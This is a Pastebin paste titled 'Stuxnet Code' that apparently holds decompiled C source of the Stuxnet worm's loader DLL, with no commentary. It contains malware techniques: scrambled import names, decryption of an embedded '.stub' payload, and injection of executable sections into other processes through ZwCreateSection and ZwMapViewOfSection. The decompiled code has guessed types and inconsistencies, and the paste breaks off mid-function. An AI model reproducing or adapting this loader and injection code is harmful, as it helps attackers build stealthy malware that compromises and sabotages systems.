Advertisement
Guest User

Stuxnet Code

a guest
Apr 13th, 2016
4,505
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 35.95 KB | None | 0 0
  1. Detected compiler: Visual C++
  2. */
  3.  
  4. #include <windows.h>
  5. #include <defs.h>
  6.  
  7.  
  8. //-------------------------------------------------------------------------
  9. // Data declarations
  10.  
  11. extern int dword_10001A90[8]; // weak
  12. extern char *off_10001AB2; // weak
  13. extern char byte_10001AB9[3]; // weak
  14. extern char byte_10001B87; // weak
  15.  
  16. typedef struct {
  17.     HMODULE Handle_NtdllDll; // weak
  18.     DWORD field_4;
  19.     int (__stdcall *proc_lstrcmpiW)(LPCTSTR lpString1, LPCTSTR lpString2); // weak
  20.     SIZE_T (__stdcall *proc_VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); // weak
  21.     BOOL (__stdcall *proc_VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); // weak
  22.     FARPROC (__stdcall *proc_GetProcAddress)(HMODULE hModule, LPCSTR lpProcName); // weak
  23.     LPVOID (__stdcall *proc_MapViewOfFile)(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap); // weak
  24.     BOOL (__stdcall *proc_UnmapViewOfFile)(LPCVOID lpBaseAddress); // weak
  25.     BOOL (__stdcall *proc_FlushInstructionCache)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize); // weak
  26.     HMODULE (__stdcall *proc_LoadLibraryW)(LPCTSTR lpFileName); // weak
  27.     BOOL (__stdcall *proc_FreeLibrary)(HMODULE hModule); // weak
  28.     NTSTATUS (__stdcall *proc_ZwCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, DWORD ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle); // weak
  29.     NTSTATUS (__stdcall *proc_ZwMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); // weak
  30.     HANDLE (__stdcall *proc_CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); // weak
  31.     DWORD (__stdcall *proc_WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); // weak
  32.     BOOL (__stdcall *proc_GetExitCodeThread)(HANDLE hThread, LPDWORD lpExitCode); // weak
  33.     NTSTATUS (__stdcall *proc_ZwClose)(HANDLE Handle); // weak
  34. } obfuscatedImports;
  35.  
  36. extern obfuscatedImports Imports;
  37.  
  38. //obfuscated strings
  39. // see Scramble_Bytes and Scramble_Words
  40. // obfb - ascii (byte)
  41. // obfw - unicode (word)
  42. extern BYTE obfb_Kernel32dll_aslr[48]; // weak
  43. extern BYTE obfb_lstrcmpiW[20]; // weak
  44. extern BYTE obfb_VirtualQuery[28]; // weak
  45. extern BYTE obfb_VirtualProtect[32]; // weak
  46. extern BYTE obfb_GetProcAddress[32]; // weak
  47. extern BYTE obfb_MapViewOfFile[28]; // weak
  48. extern BYTE obfb_UnmapViewOfFile[32]; // weak
  49. extern BYTE obfb_FlushInstructionCache[44]; // weak
  50. extern BYTE obfb_LoadLibraryW[28]; // weak
  51. extern BYTE obfb_FreeLibrary[24]; // weak
  52. extern BYTE obfb_ZwCreateSection[32]; // weak
  53. extern BYTE obfb_ZwMapViewOfSection[40]; // weak
  54. extern BYTE obfb_CreateThread[28]; // weak
  55. extern BYTE obfb_WaitForSingleObject[40]; // weak
  56. extern BYTE obfb_GetExitCodeThread[36]; // weak
  57. extern BYTE obfb_ZwClose[16]; // weak
  58. extern BYTE obfb_CreateRemoteThread[40]; // weak
  59. extern BYTE obfb_NtCreateThreadEx[36]; // weak
  60. extern BYTE obfw_kernel32_dll[28]; // weak
  61. extern BYTE obfw_ntdll_dll[20]; // weak
  62.  
  63. extern char String2[]; // idb
  64. extern int dword_10004000; // weak
  65. extern int dword_10004010; // weak
  66. extern _DWORD dword_10004014; // idb
  67. extern _UNKNOWN unk_10004018; // weak
  68. extern int dword_1000401C; // weak
  69.  
  70. //-------------------------------------------------------------------------
  71. // Function declarations
  72.  
  73. #define __thiscall __cdecl // Test compile in C mode
  74.  
  75. BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
  76. HRESULT __stdcall DllCanUnloadNow();
  77. HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv);
  78. signed int __cdecl DllRegisterServerEx();
  79. signed int __stdcall CPlApplet(int a1);
  80. BOOL __stdcall DllGetClassObjectEx(int a1, int a2, int a3, int a4);
  81. signed int __cdecl sub_1000109B();
  82. static void Scramble_ByteSequence(byte *buffer, unsigned int Key);
  83. //void __usercall Scramble_ByteSequence<eax>(byte *buffer<ecx>, unsigned int Key<edi>)
  84. signed int __cdecl sub_10001161(int a1, int a2);
  85. BOOL __cdecl sub_100011EE();
  86. signed int __cdecl GetNeededProcAddresses();
  87. signed int __cdecl CreateSectionAndView(HANDLE ProcessHandle, ULONG_PTR a2, PHANDLE SectionHandle, PVOID *BaseAddress0, PVOID *BaseAddress1);
  88. int __cdecl sub_10001456(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6);
  89. int __cdecl sub_100014A4(int, LPCWSTR lpString2); // idb
  90. int __cdecl sub_10001559(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8);
  91. signed int __cdecl sub_100016A5(int a1, int a2, const void *a3);
  92. unsigned int __cdecl sub_100017BE();
  93. signed int (__cdecl *__cdecl sub_100017CD())(int);
  94. unsigned int __cdecl sub_100017D7();
  95. unsigned int __cdecl sub_100017E6();
  96. int __cdecl sub_100017F5(int a1, int a2, int a3, int a4);
  97. int __cdecl sub_10001969(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4);
  98. void __fastcall sub_10001DAF(int a1, int a2);
  99. obfuscatedImports * __cdecl GetHandleToNtdll();
  100. // int __usercall sub_10001E44<eax>(int a1<eax>, int a2<edx>, int a3<ecx>);
  101. void __cdecl Scramble_Bytes(BYTE * input, char * output);
  102. void __cdecl Scramble_Words(WORD * input, wchar_t * output);
  103. HMODULE __cdecl AcquireHandleToNtdll();
  104. FARPROC __cdecl GetScrambledProcAddress(WORD * Module, BYTE * Proc);
  105. void __cdecl memcpy_wrapper_1(void *Dst, const void *Src, unsigned int Size);
  106. FARPROC __cdecl GetScrambledProcAddressFromKernel32(BYTE * Proc);
  107. FARPROC __cdecl GetScrambledProcAddressFromNtdll(BYTE * Proc);
  108. signed int __cdecl sub_10002060(int a1);
  109. int __stdcall sub_100021FE(int a1);
  110. int __cdecl sub_10002271(int a1, int a2, int a3);
  111. signed int __stdcall sub_10002334(int a1);
  112. void __cdecl memcpy_wrapper_2(void *a1, const void *a2, unsigned int a3);
  113. int __cdecl sub_100024A7(const void *a1, int a2, void *a3);
  114. signed int __cdecl sub_10002529(int a1, int a2);
  115. signed int __cdecl sub_100025C7(int a1, int a2, const void *a3, int a4);
  116. void __cdecl sub_100026A8();
  117. // void __stdcall ExitProcess(UINT uExitCode);
  118. // BOOL __stdcall FreeLibrary(HMODULE hLibModule);
  119. // HMODULE __stdcall GetModuleHandleW(LPCWSTR lpModuleName);
  120. // BOOL __stdcall GetVersionExW(LPOSVERSIONINFOW lpVersionInformation);
  121. // int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
  122. // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
  123. // BOOL __stdcall DeleteFileA(LPCSTR lpFileName);
  124. // BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
  125. // HANDLE __stdcall GetCurrentProcess();
  126. // DWORD __stdcall GetCurrentThreadId();
  127. // DWORD __stdcall GetTickCount();
  128. // LPWSTR __stdcall lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
  129. // int __stdcall lstrlenW(LPCWSTR lpString);
  130. // int wsprintfW(LPWSTR, LPCWSTR, ...);
  131.  
  132.  
  133. //----- (1000101B) --------------------------------------------------------
  134. BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
  135. {
  136.     if ( fdwReason )
  137.     {
  138.         if ( fdwReason == 1 )
  139.         {
  140.             dword_1000401C = (int)hinstDLL;
  141.             sub_100011EE();
  142.         }
  143.     }
  144.     return 0;
  145. }
  146. // 1000401C: using guessed type int dword_1000401C;
  147.  
  148. //----- (1000103D) --------------------------------------------------------
  149. HRESULT __stdcall DllCanUnloadNow()
  150. {
  151.     dword_1000401C = (int)GetModuleHandleW(0);
  152.     sub_100011EE();
  153.     ExitProcess(0);
  154. }
  155. // 1000401C: using guessed type int dword_1000401C;
  156.  
  157. //----- (1000105B) --------------------------------------------------------
  158. HRESULT __stdcall DllGetClassObject(const IID *const rclsid, const IID *const riid, LPVOID *ppv)
  159. {
  160.     return sub_100011EE();
  161. }
  162. // 1000105B: inconsistent function type and number of purged bytes
  163.  
  164. //----- (10001064) --------------------------------------------------------
  165. signed int __cdecl DllRegisterServerEx()
  166. {
  167.     sub_100011EE();
  168.     return 1;
  169. }
  170.  
  171. //----- (10001070) --------------------------------------------------------
  172. signed int __stdcall CPlApplet(int a1)
  173. {
  174.     if ( *(_DWORD *)(a1 + 8) )
  175.         DeleteFileA(*(LPCSTR *)(a1 + 8));
  176.     sub_100011EE();
  177.     return 1;
  178. }
  179.  
  180. //----- (10001090) --------------------------------------------------------
  181. BOOL __stdcall DllGetClassObjectEx(int a1, int a2, int a3, int a4)
  182. {
  183.     return sub_100011EE();
  184. }
  185.  
  186. //----- (1000109B) --------------------------------------------------------
  187. signed int __cdecl sub_1000109B()
  188. {
  189.     signed int result; // eax@1
  190.     int v1; // esi@2
  191.     FARPROC v2; // eax@3
  192.     int v3; // [sp+0h] [bp-Ch]@1
  193.     int v4; // [sp+4h] [bp-8h]@1
  194.     HMODULE hLibModule; // [sp+8h] [bp-4h]@2
  195.  
  196.     result = sub_10001161((int)&v4, (int)&v3);
  197.     if ( result )
  198.     {
  199.         v1 = v4;
  200.         Scramble_ByteSequence(v4 + *(_DWORD *)v4, *(_DWORD *)(v4 + 4));
  201.         result = sub_10001969(0, (const void *)(v1 + *(_DWORD *)v1), *(_DWORD *)(v1 + 4), (int)&hLibModule);
  202.         if ( !result )
  203.         {
  204.             v2 = GetProcAddress(hLibModule, (LPCSTR)0xF);
  205.             if ( v2 )
  206.                 ((void (__cdecl *)(int, int))v2)(v1, v3);
  207.             result = FreeLibrary(hLibModule);
  208.         }
  209.     }
  210.     return result;
  211. }
  212.  
  213. //----- (10001103) --------------------------------------------------------
  214. void __usercall Scramble_ByteSequence<eax>(byte *buffer<ecx>, unsigned int Key<edi>)
  215. {
  216.     unsigned int v2; // edx@2
  217.     unsigned int v3; // eax@4
  218.     unsigned int v4; // eax@6
  219.     signed int v6; // [sp+8h] [bp-8h]@1
  220.     unsigned int v7; // [sp+Ch] [bp-4h]@1
  221.  
  222.     v7 = key >> 1;
  223.     v6 = 4;
  224.     do
  225.     {
  226.         v2 = 0;
  227.         if ( key )
  228.         {
  229.             do
  230.             {
  231.                 buffer[v2] ^= 0x96 * (_BYTE)v2;
  232.                 ++v2;
  233.             }
  234.             while ( v2 < key );
  235.         }
  236.         v3 = 0;
  237.         if ( v7 )
  238.         {
  239.             do
  240.             {
  241.             buffer[v3] ^= *(&buffer[(key + 1) >> 1] + v3);
  242.                 ++v3;
  243.             }
  244.             while ( v3 < v7 );
  245.         }
  246.         for ( v4 = key - 1; v4 >= 1; --v4 )
  247.             buffer[v4] -= buffer[v4 - 1];
  248.     }
  249.     while ( v6-- - 1 >= 0 );
  250. }
  251.  
  252. //----- (10001161) --------------------------------------------------------
  253. signed int __cdecl sub_10001161(int a1, int a2)
  254. {
  255.     signed int result; // eax@2
  256.     int v3; // esi@3
  257.     signed int v4; // ebx@5
  258.     int v5; // edi@5
  259.     unsigned int v6; // ecx@10
  260.     int v7; // eax@11
  261.  
  262.     if ( *(_WORD *)dword_1000401C == 23117 )
  263.     {
  264.         v3 = dword_1000401C + *(_DWORD *)(dword_1000401C + 60);
  265.         if ( *(_DWORD *)v3 == 17744 )
  266.         {
  267.             v5 = *(_WORD *)(v3 + 20) + v3 + 24;
  268.             v4 = 0;
  269.             if ( *(_WORD *)(v3 + 6) <= 0u )
  270.                 goto LABEL_8;
  271.             while ( lstrcmpiA((LPCSTR)v5, ".stub") )
  272.             {
  273.                 ++v4;
  274.                 v5 += 40;
  275.                 if ( v4 >= *(_WORD *)(v3 + 6) )
  276.                     goto LABEL_8;
  277.             }
  278.             v6 = *(_DWORD *)(v5 + 8);
  279.             if ( v6 < 0x22C || (v7 = dword_1000401C + *(_DWORD *)(v5 + 12), *(_DWORD *)v7 != -1371991539) )
  280.             {
  281. LABEL_8:
  282.                 result = 0;
  283.             }
  284.             else
  285.             {
  286.                 *(_DWORD *)a1 = v7 + 4;
  287.                 *(_DWORD *)a2 = v6 - 4;
  288.                 result = 1;
  289.             }
  290.         }
  291.         else
  292.         {
  293.             result = 0;
  294.         }
  295.     }
  296.     else
  297.     {
  298.         result = 0;
  299.     }
  300.     return result;
  301. }
  302. // 1000401C: using guessed type int dword_1000401C;
  303.  
  304. //----- (100011EE) --------------------------------------------------------
  305. BOOL __cdecl sub_100011EE()
  306. {
  307.     BOOL result; // eax@1
  308.     struct _OSVERSIONINFOW VersionInformation; // [sp+0h] [bp-114h]@1
  309.  
  310.     VersionInformation.dwOSVersionInfoSize = 276;
  311.     result = GetVersionExW(&VersionInformation);
  312.     if ( result )
  313.     {
  314.         if ( VersionInformation.dwPlatformId == 2 )
  315.         {
  316.             if ( VersionInformation.dwMajorVersion >= 5 || VersionInformation.dwMajorVersion <= 6 )
  317.                 result = sub_1000109B();
  318.         }
  319.     }
  320.     return result;
  321. }
  322.  
  323. //----- (1000126B) --------------------------------------------------------
  324. signed int __cdecl GetNeededProcAddresses()
  325. {
  326.     DWORD flOldProtect; // [sp+0h] [bp-4h]@1
  327.  
  328.     if ( VirtualProtect(&Imports, sizeof(Imports), PAGE_EXECUTE_WRITECOPY, &flOldProtect)
  329.         || VirtualProtect(&Imports, sizeof(Imports), PAGE_EXECUTE_READWRITE, &flOldProtect) )
  330.     {
  331.     Imports.Handle_NtdllDll = GetModuleHandleToNtdll();
  332.     Imports.proc_lstrcmpiW = (int (__stdcall *)(LPCTSTR, LPCTSTR))GetProcAddressInKernel32(obfb_lstrcmpiW);
  333.     Imports.proc_VirtualQuery = (SIZE_T (__stdcall *)(LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T))GetProcAddressInKernel32(obfb_VirtualQuery);
  334.     Imports.proc_VirtualProtect = (BOOL (__stdcall *)(LPVOID, SIZE_T, DWORD, PDWORD))GetProcAddressInKernel32(obfb_VirtualProtect);
  335.     Imports.proc_GetProcAddress = (FARPROC (__stdcall *)(HMODULE, LPCSTR))GetProcAddressInKernel32(obfb_GetProcAddress);
  336.     Imports.proc_MapViewOfFile = (LPVOID (__stdcall *)(HANDLE, DWORD, DWORD, DWORD, SIZE_T))GetProcAddressInKernel32(obfb_MapViewOfFile);
  337.     Imports.proc_UnmapViewOfFile = (BOOL (__stdcall *)(LPCVOID))GetProcAddressInKernel32(obfb_UnmapViewOfFile);
  338.     Imports.proc_FlushInstructionCache = (BOOL (__stdcall *)(HANDLE, LPCVOID, SIZE_T))GetProcAddressInKernel32(obfb_FlushInstructionCache);
  339.     Imports.proc_LoadLibraryW = (HMODULE (__stdcall *)(LPCTSTR))GetProcAddressInKernel32(obfb_LoadLibraryW);
  340.     Imports.proc_FreeLibrary = (BOOL (__stdcall *)(HMODULE))GetProcAddressInKernel32(obfb_FreeLibrary);
  341.     Imports.proc_ZwCreateSection = (NTSTATUS (__stdcall *)(PHANDLE, ACCESS_MASK, DWORD, PLARGE_INTEGER, ULONG, ULONG, HANDLE))GetProcAddressInNtdll(obfb_ZwCreateSection);
  342.     Imports.proc_ZwMapViewOfSection = (NTSTATUS (__stdcall *)(HANDLE, HANDLE, PVOID *, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG))GetProcAddressInNtdll(obfb_ZwMapViewOfSection);
  343.     Imports.proc_CreateThread = (HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD))GetProcAddressInKernel32(obfb_CreateThread);
  344.     Imports.proc_WaitForSingleObject = (DWORD (__stdcall *)(HANDLE, DWORD))GetProcAddressInKernel32(obfb_WaitForSingleObject);
  345.     Imports.proc_GetExitCodeThread = (BOOL (__stdcall *)(HANDLE, LPDWORD))GetProcAddressInKernel32(obfb_GetExitCodeThread);
  346.     Imports.proc_ZwClose = (NTSTATUS (__stdcall *)(HANDLE))GetProcAddressInNtdll(obfb_ZwClose);
  347.         return 1;
  348.     }
  349.     return 0;
  350. }
  351.  
  352. //----- (100013A6) --------------------------------------------------------
  353. signed int __cdecl CreateSectionAndView(HANDLE ProcessHandle, ULONG_PTR a2, PHANDLE SectionHandle, PVOID *BaseAddress0, PVOID *BaseAddress1)
  354. {
  355.   signed int result; // eax@2
  356.   HANDLE v6; // eax@3
  357.   ULONG_PTR ViewSize; // [sp+0h] [bp-10h]@1
  358.   NTSTATUS v8; // [sp+4h] [bp-Ch]@3
  359.   LARGE_INTEGER MaximumSize; // [sp+8h] [bp-8h]@1
  360.  
  361.   ViewSize = a2;
  362.   MaximumSize = (LARGE_INTEGER)a2;
  363.   if ( Imports.proc_ZwCreateSection(
  364.          SectionHandle,
  365.          SECTION_EXTEND_SIZE|SECTION_MAP_EXECUTE|SECTION_MAP_READ|SECTION_MAP_WRITE|SECTION_QUERY|0xF0000,
  366.          0,
  367.          &MaximumSize,
  368.          0x40u,
  369.          0x8000000u,
  370.          0) )
  371.   {
  372.     result = -5;
  373.   }
  374.   else
  375.   {
  376.     v6 = GetCurrentProcess();
  377.     v8 = Imports.proc_ZwMapViewOfSection(*SectionHandle, v6, BaseAddress0, 0, 0, 0, &ViewSize, 1u, 0, 0x40u);
  378.     if ( v8 )
  379.     {
  380.       result = -5;
  381.     }
  382.     else
  383.     {
  384.       v8 = Imports.proc_ZwMapViewOfSection(
  385.              *SectionHandle,
  386.              ProcessHandle,
  387.              BaseAddress1,
  388.              0,
  389.              0,
  390.              0,
  391.              &ViewSize,
  392.              1u,
  393.              0,
  394.              0x40u);
  395.       if ( v8 )
  396.         result = -5;
  397.       else
  398.         result = 0;
  399.     }
  400.   }
  401.   return result;
  402. }
  403.  
  404. //----- (10001456) --------------------------------------------------------
  405. int __cdecl sub_10001456(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6)
  406. {
  407.     int result; // eax@3
  408.  
  409.     if ( a6 )
  410.         memcpy_wrapper_1(*a1, a5, a6);
  411.     *(_DWORD *)a4 = *(_DWORD *)a3 + a2;
  412.     *(_DWORD *)(a4 + 4) = a6;
  413.     *a1 = (char *)*a1 + a6;
  414.     result = a6 + *(_DWORD *)a3;
  415.     *(_DWORD *)a3 = result;
  416.     return result;
  417. }
  418.  
  419. //----- (100014A4) --------------------------------------------------------
  420. signed int __cdecl sub_100014A4(int a1, LPCWSTR lpString2)
  421. {
  422.     DWORD v3; // esi@5
  423.     wchar_t Unscrambled[42];
  424.     DWORD v5; // [sp+5Ch] [bp-4h]@5
  425.  
  426.     if ( lpString2 )
  427.     {
  428.         if ( lstrlenW(lpString2) >= 31 )
  429.             return -1;
  430.         lstrcpyW((LPWSTR)(a1 + 16), lpString2);
  431.     }
  432.     else
  433.     {
  434.         v3 = GetTickCount();
  435.         v5 = 3 * GetCurrentThreadId() + v3;
  436.         Scramble_Words(obfb_Kernel32dll_aslr, Unscrambled);
  437.         do
  438.         wsprintfW((LPWSTR)(a1 + 16), Unscrambled, v5++);
  439.         while ( GetModuleHandleW((LPCWSTR)(a1 + 16)) );
  440.     }
  441.     *(_DWORD *)a1 = a1 ^ 0xAE1979DD;
  442.     *(_DWORD *)(a1 + 4) = 0;
  443.     *(_DWORD *)(a1 + 12) = sub_10002334;
  444.     return 0;
  445. }
  446.  
  447. //----- (10001559) --------------------------------------------------------
  448. int __cdecl sub_10001559(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8)
  449. {
  450.     int result; // eax@2
  451.     int v9; // [sp+4h] [bp-28h]@1
  452.     int v10; // [sp+8h] [bp-24h]@3
  453.     int v11; // [sp+Ch] [bp-20h]@6
  454.     int v12; // [sp+10h] [bp-1Ch]@1
  455.     int v13; // [sp+14h] [bp-18h]@1
  456.     int v14; // [sp+18h] [bp-14h]@3
  457.     unsigned int v15; // [sp+1Ch] [bp-10h]@1
  458.     int v16; // [sp+20h] [bp-Ch]@1
  459.     int v17; // [sp+24h] [bp-8h]@3
  460.     int v18; // [sp+28h] [bp-4h]@1
  461.  
  462.     v13 = 0;
  463.     v16 = 0;
  464.     v12 = 0;
  465.     v15 = a4 + a7 + 152;
  466.     v18 = CreateSectionAndView(a1, a4 + a7 + 152, (PHANDLE)&v9, (PVOID)&v13, (PVOID)&v16);
  467.     if ( v18 )
  468.     {
  469.         result = v18;
  470.     }
  471.     else
  472.     {
  473.         v17 = v13;
  474.         v13 += 152;
  475.         v12 = 152;
  476.         sub_10001456((void **)&v13, v16, (int)&v12, v17 + 132, a6, a7);
  477.         v10 = v13;
  478.         sub_10001456((void **)&v13, v16, (int)&v12, v17 + 140, a3, a4);
  479.         v14 = v10;
  480.         if ( a4 >= 0x1000 )
  481.         {
  482.             if ( *(_WORD *)v14 == 23117 )
  483.             {
  484.                 if ( *(_DWORD *)(v14 + 60) + 248 < a4 )
  485.                 {
  486.                     v11 = *(_DWORD *)(v14 + 60) + v10;
  487.                     if ( *(_DWORD *)(v11 + 204) == 72 )
  488.                         *(_DWORD *)(v11 + 204) = 64;
  489.                 }
  490.             }
  491.         }
  492.         memcpy_wrapper_1((void *)v17, a2, 0x80u);
  493.         *(_DWORD *)(v17 + 148) = a5;
  494.         *(_DWORD *)(v17 + 128) = 0;
  495.         *(_DWORD *)a8 = v16;
  496.         Imports.proc_UnmapViewOfFile(v17);
  497.         Imports.proc_ZwClose(v9);
  498.         result = 0;
  499.     }
  500.     return result;
  501. }
  502.  
  503. //----- (100016A5) --------------------------------------------------------
  504. signed int __cdecl sub_100016A5(int a1, int a2, const void *a3)
  505. {
  506.     signed int result; // eax@2
  507.     int v4; // [sp+0h] [bp-90h]@5
  508.     int v5; // [sp+4h] [bp-8Ch]@7
  509.     signed int v6; // [sp+8h] [bp-88h]@1
  510.     int v7; // [sp+Ch] [bp-84h]@1
  511.     unsigned int v8; // [sp+10h] [bp-80h]@1
  512.     int v9; // [sp+14h] [bp-7Ch]@1
  513.     int v10; // [sp+18h] [bp-78h]@7
  514.     char v11; // [sp+20h] [bp-70h]@5
  515.  
  516.     memcpy_wrapper_1(&v8, a3, 0x80u);
  517.     v8 = (unsigned int)&v8 ^ 0xAE1979DD;
  518.     v9 = 0;
  519.     v7 = (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9;
  520.     v6 = sub_100025C7(
  521.         (char *)&dword_10001F1A + *(_DWORD *)(a1 + 8) - byte_10001AB9,
  522.         (int)&v8,
  523.         *(const void **)(a2 + 140),
  524.         *(_DWORD *)(a2 + 144));
  525.     if ( v6 )
  526.     {
  527.         result = v6;
  528.     }
  529.     else
  530.     {
  531.         if ( sub_10002529(a1, v7) )
  532.         {
  533.             result = -4;
  534.         }
  535.         else
  536.         {
  537.             v4 = (*(int (__stdcall **)(char *))(v7 + 36))(&v11);
  538.             if ( v4 )
  539.             {
  540.                 *(_DWORD *)(a2 + 128) = v4;
  541.                 v5 = v10;
  542.                 if ( v10 )
  543.                 {
  544.                     v10 = 0;
  545.                     (*(void (__stdcall **)(int))(v7 + 64))(v5);
  546.                 }
  547.                 result = 0;
  548.             }
  549.             else
  550.             {
  551.                 result = -9;
  552.             }
  553.         }
  554.     }
  555.     return result;
  556. }
  557. // 10001F1A: using guessed type int dword_10001F1A;
  558.  
  559. //----- (100017BE) --------------------------------------------------------
  560. unsigned int __cdecl sub_100017BE()
  561. {
  562.     return (char *)sub_100026A8 - (char *)(void (__cdecl *)())sub_10002060;
  563. }
  564.  
  565. //----- (100017CD) --------------------------------------------------------
  566. signed int (__cdecl *__cdecl sub_100017CD())(int)
  567. {
  568.     return sub_10002060;
  569. }
  570.  
  571. //----- (100017D7) --------------------------------------------------------
  572. unsigned int __cdecl sub_100017D7()
  573. {
  574.     return (char *)sub_100021FE - (char *)(int (__stdcall *)(int))sub_10002060;
  575. }
  576.  
  577. //----- (100017E6) --------------------------------------------------------
  578. unsigned int __cdecl sub_100017E6()
  579. {
  580.     return (char *)sub_10002334 - (char *)(signed int (__stdcall *)(int))sub_10002060;
  581. }
  582.  
  583. //----- (100017F5) --------------------------------------------------------
  584. int __cdecl sub_100017F5(int a1, int a2, int a3, int a4)
  585. {
  586.     int result; // eax@2
  587.     unsigned int v5; // ST14_4@3
  588.     signed int (__cdecl *v6)(int); // eax@3
  589.     int v7; // [sp+8h] [bp-28h]@1
  590.     int v8; // [sp+Ch] [bp-24h]@3
  591.     unsigned int v9; // [sp+10h] [bp-20h]@3
  592.     int v10; // [sp+14h] [bp-1Ch]@1
  593.     int v11; // [sp+18h] [bp-18h]@1
  594.     unsigned int v12; // [sp+1Ch] [bp-14h]@1
  595.     int v13; // [sp+20h] [bp-10h]@1
  596.     int v14; // [sp+24h] [bp-Ch]@3
  597.     unsigned int v15; // [sp+28h] [bp-8h]@1
  598.     int v16; // [sp+2Ch] [bp-4h]@1
  599.  
  600.     v11 = 0;
  601.     v13 = 0;
  602.     v15 = sub_100017BE();
  603.     v12 = v15
  604.         + (char *)sub_10001F5E
  605.         - (char *)(int (__cdecl *)(int, int))byte_10001AB9
  606.         + byte_10001AB9
  607.         - (char *)dword_10001A90
  608.         + 36;
  609.     v10 = 0;
  610.     v16 = CreateSectionAndView(
  611.         a1,
  612.         v12,
  613.         (PHANDLE)&v7,
  614.         (PVOID)&v11,
  615.         (PVOID)&v13);
  616.     if ( v16 )
  617.     {
  618.         result = v16;
  619.     }
  620.     else
  621.     {
  622.         v14 = v11;
  623.         v11 += 36;
  624.         v10 = 36;
  625.         sub_10001456(
  626.             (void **)&v11,
  627.             v13,
  628.             (int)&v10,
  629.             v14 + 8,
  630.             byte_10001AB9,
  631.             (char *)sub_10001F5E - (char *)(int (__cdecl *)(int, int))byte_10001AB9);
  632.         v8 = v10;
  633.         sub_10001456((void **)&v11, v13, (int)&v10, v14 + 24, dword_10001A90, byte_10001AB9 - (char *)dword_10001A90);
  634.         v5 = v15;
  635.         v6 = sub_100017CD();
  636.         sub_10001456((void **)&v11, v13, (int)&v10, v14 + 16, v6, v5);
  637.         v9 = (char *)&off_10001AB2 - (char *)dword_10001A90 + v8 + v14;
  638.         *(_DWORD *)((char *)&off_10001AB2 - (char *)dword_10001A90 + v8 + v14) = *(_DWORD *)(v14 + 8)
  639.             + &byte_10001B87
  640.             - byte_10001AB9;
  641.         *(_DWORD *)v14 = *(_DWORD *)(v14 + 16) + sub_100017D7();
  642.         *(_DWORD *)(v14 + 4) = *(_DWORD *)(v14 + 16) + sub_100017E6();
  643.         *(_DWORD *)(v14 + 32) = a2;
  644.         *(_DWORD *)a3 = *(_DWORD *)(v14 + 16);
  645.         *(_DWORD *)a4 = v13;
  646.         Imports.proc_UnmapViewOfFile(v14);
  647.         Imports.proc_ZwClose(v7);
  648.         result = 0;
  649.     }
  650.     return result;
  651. }
  652. // 10001A90: using guessed type int dword_10001A90[8];
  653. // 10001AB2: using guessed type char *off_10001AB2;
  654. // 10001B87: using guessed type char byte_10001B87;
  655. // 10001F36: using guessed type int (__stdcall *dword_10001F36)(_DWORD);
  656. // 10001F5A: using guessed type int (__stdcall *dword_10001F5A)(_DWORD);
  657.  
  658. //----- (10001969) --------------------------------------------------------
  659. int __cdecl sub_10001969(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4)
  660. {
  661.     int result; // eax@1
  662.     int v5; // eax@6
  663.     int v6; // ST14_4@9
  664.     int v7; // eax@9
  665.     DWORD v8; // [sp-4h] [bp-88h]@1
  666.     int v9; // [sp+0h] [bp-84h]@6
  667.     int v10; // [sp+0h] [bp-84h]@9
  668.     signed int v11; // [sp+0h] [bp-84h]@12
  669.     int v12; // [sp+4h] [bp-80h]@1
  670.  
  671.     result = sub_100014A4((int)&v12, lpString2);
  672.     if ( !result )
  673.     {
  674.         if ( dword_10004000 && !GetNeededProcAddresses() )
  675.             return -12;
  676.         v5 = (int)GetCurrentProcess();
  677.         v9 = sub_10001559(v5, &v12, a2, a3, -1, 0, 0, (int)&dword_10004014);
  678.         if ( v9 )
  679.             return v9;
  680.         if ( dword_10004000 )
  681.         {
  682.             v6 = dword_10004014;
  683.             v7 = (int)GetCurrentProcess();
  684.             v10 = sub_100017F5(v7, v6, (int)&unk_10004018, (int)&dword_10004010);
  685.             if ( v10 )
  686.                 return v10;
  687.             dword_10004000 = 0;
  688.         }
